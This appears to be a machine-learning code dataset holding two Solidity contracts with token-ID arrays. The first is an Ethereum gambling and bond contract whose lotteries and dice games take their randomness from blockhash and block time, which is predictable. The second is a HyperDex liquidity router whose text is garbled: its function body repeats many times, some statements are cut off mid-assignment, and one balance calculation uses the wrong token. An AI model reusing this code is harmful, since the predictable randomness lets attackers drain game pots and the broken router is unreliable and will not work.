oddsAll += i; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); emit won(sender, hasWon, amount,7); } function playProofOfDecreasingOddsALL (uint256 plays) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = decreasingOddsAll; uint256 oddzactual; require(sender == tx.origin); require(value >= plays.mul(0.1 ether)); require(plays > 0); bool hasWon; // fix this for(uint i=0; i< plays; i++) { oddzactual = oddz + i; uint256 outcome = uint256(blockhash(block.number-1)).add(now) % (oddzactual); emit RNGgenerated(outcome); if(outcome == 1){ // only 1 win per tx i = plays; // change pot podoPotAll = podoPotAll.div(2); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(podoPotAll); // reset odds decreasingOddsAll = 10; //emit newMaturedBonds(sender, podoPotAll); hasWon = true; uint256 amount = podoPotAll; } } decreasingOddsAll += i; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); emit won(sender, hasWon, amount,8); } function playRandomDistribution (uint256 plays) public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(value >= plays.mul(0.01 ether)); require(plays > 0); uint256 spot; for(uint i=0; i< plays; i++) { // get first in line spot = randomNext + i; randomDistr[spot] = sender; } // adjust pointer randomNext = randomNext + i; //give bonds for eth payment bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); } function payoutRandomDistr () public { // needs someone in line and pot have honey address sender = msg.sender; require(randomPot >= 0.1 ether && randomNext > 0 && lastdraw != block.number); require(sender == tx.origin); // set winner uint256 outcome = uint256(blockhash(block.number-1)).add(now) % (randomNext); emit RNGgenerated(outcome); // deduct from pot randomPot = randomPot.sub(0.1 ether); // add to winers pendingFills pendingFills[randomDistr[outcome]] = pendingFills[randomDistr[outcome]].add(0.1 ether); //emit newMaturedBonds(randomDistr[outcome], 0.1 ether); // kicked from line because of win randomDistr[outcome] = randomDistr[randomNext-1]; // reduce one the line randomNext--; // adjust lastdraw lastdraw = block.number; // emit won(randomDistr[outcome], true, 0.1 ether,9); } function playRandomDistributionWhale (uint256 plays) public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(value >= plays.mul(1 ether)); require(plays > 0); uint256 spot; for(uint i=0; i< plays; i++) { // get first in line spot = randomNextWhale + i; randomDistrWhale[spot] = sender; } // adjust pointer randomNextWhale = randomNextWhale + i; //give bonds for eth payment bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); } function payoutRandomDistrWhale () public { // needs someone in line and pot have honey require(randomPotWhale >= 10 ether && randomNextWhale > 0 && lastdrawWhale != block.number); require(msg.sender == tx.origin); // set winner uint256 outcome = uint256(blockhash(block.number-1)).add(now) % (randomNextWhale); emit RNGgenerated(outcome); // deduct from pot randomPotWhale = randomPotWhale.sub(10 ether); //emit newMaturedBonds(randomDistrWhale[outcome], 10 ether); // add to winers pendingFills pendingFills[randomDistrWhale[outcome]] = pendingFills[randomDistrWhale[outcome]].add(10 ether); // kicked from line because of win randomDistrWhale[outcome] = randomDistrWhale[randomNext-1]; // reduce one the line randomNextWhale--; // adjust lastdraw lastdrawWhale = block.number; // emit won(randomDistrWhale[outcome], true, 10 ether,10); } function playRandomDistributionAlways (uint256 plays) public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(value >= plays.mul(0.1 ether)); require(plays > 0); uint256 spot; for(uint i=0; i< plays; i++) { // get first in line spot = randomNextAlways + i; randomDistrAlways[spot] = sender; } // adjust pointer randomNextAlways = randomNextAlways + i; //give bonds for eth payment bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); } function payoutRandomDistrAlways () public { // needs someone in line and pot have honey require(msg.sender == tx.origin); require(randomPotAlways >= 1 ether && randomNextAlways > 0 && lastdrawAlways != block.number); // set winner uint256 outcome = uint256(blockhash(block.number-1)).add(now) % (randomNextAlways); emit RNGgenerated(outcome); // deduct from pot randomPotAlways = randomPotAlways.sub(1 ether); //emit newMaturedBonds(randomDistrAlways[outcome], 1 ether); // add to winers pendingFills pendingFills[randomDistrAlways[outcome]] = pendingFills[randomDistrAlways[outcome]].add(1 ether); // adjust lastdraw lastdraw = block.number; // emit won(randomDistrAlways[outcome], true, 1 ether,11); } function playProofOfRediculousBadOdds (uint256 plays) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = amountPlayed; uint256 oddzactual; require(sender == tx.origin); require(value >= plays.mul(0.0001 ether)); require(plays > 0); bool hasWon; // fix this for(uint i=0; i< plays; i++) { oddzactual = oddz.add(1000000).add(i); uint256 outcome = uint256(blockhash(block.number-1)).add(now) % (oddzactual); emit RNGgenerated(outcome); if(outcome == 1){ // only 1 win per tx i = plays; // change pot badOddsPot = badOddsPot.div(2); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(badOddsPot); //emit newMaturedBonds(randomDistrAlways[outcome], badOddsPot); hasWon = true; uint256 amount = badOddsPot; } } amountPlayed += i; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); emit won(sender, hasWon, amount,12); } function playProofOfDiceRolls (uint256 oddsTaken) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = amountPlayed; uint256 possiblewin = value.mul(100).div(oddsTaken); require(sender == tx.origin); require(dicerollpot >= possiblewin); require(oddsTaken > 0 && oddsTaken < 100); bool hasWon; // fix this uint256 outcome = uint256(blockhash(block.number-1)).add(now).add(oddz) % (100); emit RNGgenerated(outcome); if(outcome < oddsTaken){ // win dicerollpot = dicerollpot.sub(possiblewin); pendingFills[sender] = pendingFills[sender].add(possiblewin); //emit newMaturedBonds(sender, possiblewin); hasWon = true; uint256 amount = possiblewin; } amountPlayed ++; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); emit won(sender, hasWon, amount,13); } function playProofOfEthRolls (uint256 oddsTaken) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = amountPlayed; uint256 possiblewin = value.mul(100).div(oddsTaken); require(sender == tx.origin); require(ethRollBank >= possiblewin); require(oddsTaken > 0 && oddsTaken < 100); bool hasWon; // fix this uint256 outcome = uint256(blockhash(block.number-1)).add(now).add(oddz) % (100); emit RNGgenerated(outcome); if(outcome < oddsTaken){ // win ethRollBank = ethRollBank.sub(possiblewin); pendingFills[sender] = pendingFills[sender].add(possiblewin); //emit newMaturedBonds(sender, possiblewin); hasWon = true; uint256 amount = possiblewin; } amountPlayed ++; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value.div(100)); // most eth to bank instead ethRollBank = ethRollBank.add(value.div(100).mul(99)); emit won(sender, hasWon, amount,14); } function helpUnstuckEth()public payable updateAccount(msg.sender){ uint256 value = msg.value; address sender = msg.sender; require(sender == tx.origin); require(value >= 2 finney); hassEthstuck[currentHelper] = true; canGetPaidForHelping = true; currentHelper = msg.sender; hassEthstuck[currentHelper] = false; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); } function transferEthToHelper()public{ address sender = msg.sender; require(sender == tx.origin); require(hassEthstuck[sender] == true && canGetPaidForHelping == true); require(ethStuckOnPLinc > 4 finney); hassEthstuck[sender] = false; canGetPaidForHelping = false; ethStuckOnPLinc = ethStuckOnPLinc.sub(4 finney); pendingFills[currentHelper] = pendingFills[currentHelper].add(4 finney) ; //emit newMaturedBonds(currentHelper, 4 finney); emit won(currentHelper, true, 4 finney,15); } function begForFreeEth () public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(sender == tx.origin); require(value >= 0.1 ether ); bool hasWon; if(PLincGiverOfEth >= 0.101 ether) { PLincGiverOfEth = PLincGiverOfEth.sub(0.1 ether); pendingFills[sender] = pendingFills[sender].add( 0.101 ether) ; //emit newMaturedBonds(sender, 0.101 ether); hasWon = true; } // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); emit won(sender, hasWon, 0.101 ether,16); } function releaseVaultSmall () public { // needs time or amount reached uint256 vaultSize = vaultSmall; require(timeSmall + 24 hours < now || vaultSize > 10 ether); // reset time timeSmall = now; // empty vault vaultSmall = 0; // add to ethPendingDistribution ethPendingDistribution = ethPendingDistribution.add(vaultSize); } function releaseVaultMedium () public { // needs time or amount reached uint256 vaultSize = vaultMedium; require(timeMedium + 168 hours < now || vaultSize > 100 ether); // reset time timeMedium = now; // empty vault vaultMedium = 0; // add to ethPendingDistribution ethPendingDistribution = ethPendingDistribution.add(vaultSize); } function releaseVaultLarge () public { // needs time or amount reached uint256 vaultSize = vaultLarge; require(timeLarge + 720 hours < now || vaultSize > 1000 ether); // reset time timeLarge = now; // empty vault vaultLarge = 0; // add to ethPendingDistribution ethPendingDistribution = ethPendingDistribution.add(vaultSize); } function releaseDrip () public { // needs time or amount reached uint256 vaultSize = vaultDrip; require(timeDrip + 24 hours < now); // reset time timeDrip = now; uint256 value = vaultSize.div(100); // empty vault vaultDrip = vaultDrip.sub(value); // update divs params totalDividendPoints = totalDividendPoints.add(value); unclaimedDividends = unclaimedDividends.add(value); emit bondsMatured(value); } constructor() public { management[0] = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; management[1] = 0x58E90F6e19563CE82C4A0010CEcE699B3e1a6723; management[2] = 0xf1A7b8b3d6A69C30883b2a3fB023593d9bB4C81E; management[3] = 0x2615A4447515D97640E43ccbbF47E003F55eB18C; management[4] = 0xD74B96994Ef8a35Fc2dA61c5687C217ab527e8bE; management[5] = 0x2F145AA0a439Fa15e02415e035aaF9fDbDeCaBD5; price[0] = 100 ether; price[1] = 25 ether; price[2] = 20 ether; price[3] = 15 ether; price[4] = 10 ether; price[5] = 5 ether; bondsOutstanding[0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220]= 100 finney; totalSupplyBonds = 100 finney; decreasingOddsAll = 10; timeSmall = now; timeMedium = now; timeLarge = now; timeDrip = now; } // snip3d handlers function soldierBuy () public { require(Snip3dPot > 0.1 ether); uint256 temp = Snip3dPot; Snip3dPot = 0; snip3dBridge.sacUp.value(temp)(); } function snip3dVaultToPLinc() public {// from bridge to PLinc uint256 incoming = snip3dBridge.harvestableBalance(); snip3dBridge.fetchBalance(); ethPendingDistribution = ethPendingDistribution.add(incoming); } // slaughter3d handlers function sendButcher() public{ require(Slaughter3dPot > 0.1 ether); uint256 temp = Slaughter3dPot; Slaughter3dPot = 0; slaughter3dbridge.sacUp.value(temp)(); } function slaughter3dbridgeToPLinc() public { uint256 incoming = slaughter3dbridge.harvestableBalance(); slaughter3dbridge.fetchBalance(); ethPendingDistribution = ethPendingDistribution.add(incoming); } // events event bondsBought(address indexed player, uint256 indexed bonds); event bondsFilled(address indexed player, uint256 indexed bonds); event CEOsold(address indexed previousOwner, address indexed newOwner, uint256 indexed price); event Directorsold(address indexed previousOwner, address indexed newOwner, uint256 indexed price, uint256 spot); event cashout(address indexed player , uint256 indexed ethAmount); event bondsMatured(uint256 indexed amount); event RNGgenerated(uint256 indexed number); event won(address player, bool haswon, uint256 amount ,uint256 line); } interface HourglassInterface { function () payable external; function buy(address _playerAddress) payable external returns(uint256); function withdraw() external; function myDividends(bool _includeReferralBonus) external view returns(uint256); } interface SPASMInterface { function() payable external; function disburse() external payable; } interface Snip3DBridgeInterface { function harvestableBalance() view external returns(uint256) ; function sacUp () external payable ; function fetchBalance () external ; } interface Slaughter3DBridgeInterface{ function harvestableBalance() view external returns(uint256) ; function sacUp () external payable ; function fetchBalance () external ; }
delayed bonds maturing
uint256 public vaultDrip;
15,806,862
[ 1, 10790, 329, 15692, 4834, 4017, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 1071, 9229, 40, 21335, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x73Da3dF335C59aaD6c75472cafc26953d27D7819/sources/contracts/HyperDexLPRouter.sol
solhint-disable-next-line function-max-lines, code-complexity
contract HyperDexLPRouter is HyperLPRouter { using SafeERC20v2 for IERC20; constructor(address hyperlpfactory, address weth) HyperLPRouter(hyperlpfactory, weth) function mintHyper( address hyperpool, address paymentToken, uint256 paymentAmount, address hyperDex, bytes memory callData1, bytes memory callData2 ) external payable returns ( uint256 amount0, uint256 amount1, uint256 mintAmount, uint128 liquidityMinted ) { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } } else { { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } hyperDex.call{value: msg.value}(callData1); { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } hyperDex.call{value: msg.value}(callData2); { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } { require(lpfactory.isTrustedPool(hyperpool), "!pool"); if (paymentToken == _ETH) { require(msg.value == paymentAmount, "Insufficient value"); IERC20(paymentToken).safeTransferFrom( _msgSender(), address(this), paymentAmount ); IERC20(paymentToken).approve(hyperDex, 0); IERC20(paymentToken).approve(hyperDex, paymentAmount); } address token0; address token1; (, , token0, token1, amount0, amount1) = getMintAmounts( hyperpool, paymentToken, paymentAmount ); if (paymentToken != token0) { uint256 preAmount0 = IERC20(token0).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount0 = IERC20(token0).balanceOf(address(this)) - preAmount0; } if (paymentToken != token1) { uint256 preAmount1 = IERC20(token1).balanceOf(address(this)); (bool success, bytes memory resultData) = if (!success) { _revertWithData(resultData); } amount1 = IERC20(token0).balanceOf(address(this)) - preAmount1; } IERC20(token0).approve(hyperpool, amount0); IERC20(token1).approve(hyperpool, amount1); (amount0, amount1, mintAmount, liquidityMinted) = IHyperLPool(hyperpool) .mint(amount0, amount1, _msgSender()); emit Minted( _msgSender(), mintAmount, amount0, amount1, liquidityMinted ); amount0 = IERC20(token0).balanceOf(address(this)); amount1 = IERC20(token1).balanceOf(address(this)); if (amount0 > 0) { IERC20(token0).safeTransfer(_msgSender(), amount0); } if (amount1 > 0) { IERC20(token1).safeTransfer(_msgSender(), amount1); } } }
4,996,618
[ 1, 18281, 11317, 17, 8394, 17, 4285, 17, 1369, 445, 17, 1896, 17, 3548, 16, 981, 17, 14259, 560, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
